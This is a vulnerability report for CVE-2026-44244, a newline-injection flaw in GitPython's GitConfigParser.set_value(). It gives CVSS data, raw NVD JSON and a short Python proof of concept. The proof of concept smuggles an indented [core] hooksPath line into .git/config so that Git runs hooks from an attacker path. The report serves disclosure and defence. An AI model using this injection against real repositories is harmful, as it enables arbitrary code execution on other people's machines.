Security Vulnerability Report
δΈ­ζ–‡
CVE-2026-44244 CVSS 7.8 HIGH

CVE-2026-44244

Published: 2026-05-07 19:16:02
Last Modified: 2026-05-11 17:44:36

Description

GitPython is a python library used to interact with Git repositories. Prior to version 3.1.49, GitConfigParser.set_value() passes values to Python's configparser without validating for newlines. GitPython's own _write() converts embedded newlines into indented continuation lines (e.g. \n becomes \n\t), but Git still accepts an indented [core] stanza as a section header β€” so the injected core.hooksPath becomes effective configuration. Any Git operation that invokes hooks (commit, merge, checkout) will then execute scripts from the attacker-controlled path. This issue has been patched in version 3.1.49.

CVSS Details

CVSS Score
7.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:gitpython_project:gitpython:*:*:*:*:*:python:*:* - VULNERABLE
GitPython < 3.1.49

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import git import os # Path to a demo repository repo_path = "/tmp/demo_repo" if os.path.exists(repo_path): import shutil shutil.rmtree(repo_path) os.makedirs(repo_path) repo = git.Repo.init(repo_path) # Malicious payload containing newline and indented [core] section # This tricks Git into accepting a new configuration block attacker_controlled_value = "normal_value\n\t[core]\n\thooksPath=/tmp/evil_hooks" # Exploit the vulnerable set_value method with repo.config_writer() as config: # In versions < 3.1.49, this writes the injection to .git/config config.set_value("user", "name", attacker_controlled_value) print("[+] Payload injected successfully.") print("[+] Check .git/config for the injected [core] section.") # To trigger the exploit, a git operation like commit would be needed: # repo.index.commit("test")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-44244", "sourceIdentifier": "[email protected]", "published": "2026-05-07T19:16:02.357", "lastModified": "2026-05-11T17:44:36.497", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "GitPython is a python library used to interact with Git repositories. Prior to version 3.1.49, GitConfigParser.set_value() passes values to Python's configparser without validating for newlines. GitPython's own _write() converts embedded newlines into indented continuation lines (e.g. \\n becomes \\n\\t), but Git still accepts an indented [core] stanza as a section header β€” so the injected core.hooksPath becomes effective configuration. Any Git operation that invokes hooks (commit, merge, checkout) will then execute scripts from the attacker-controlled path. This issue has been patched in version 3.1.49."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-94"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:gitpython_project:gitpython:*:*:*:*:*:python:*:*", "versionEndExcluding": "3.1.49", "matchCriteriaId": "70BE59C2-ACE5-4E12-AC75-DCCE43007E3F"}]}]}], "references": [{"url": "https://github.com/gitpython-developers/GitPython/releases/tag/3.1.49", "source": "[email protected]", "tags": ["Patch", "Release Notes"]}, {"url": "https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-v87r-6q3f-2j67", "source": "[email protected]", "tags": ["Exploit", "Mitigation", "Vendor Advisory"]}, {"url": "https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-v87r-6q3f-2j67", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Mitigation", "Vendor Advisory"]}]}}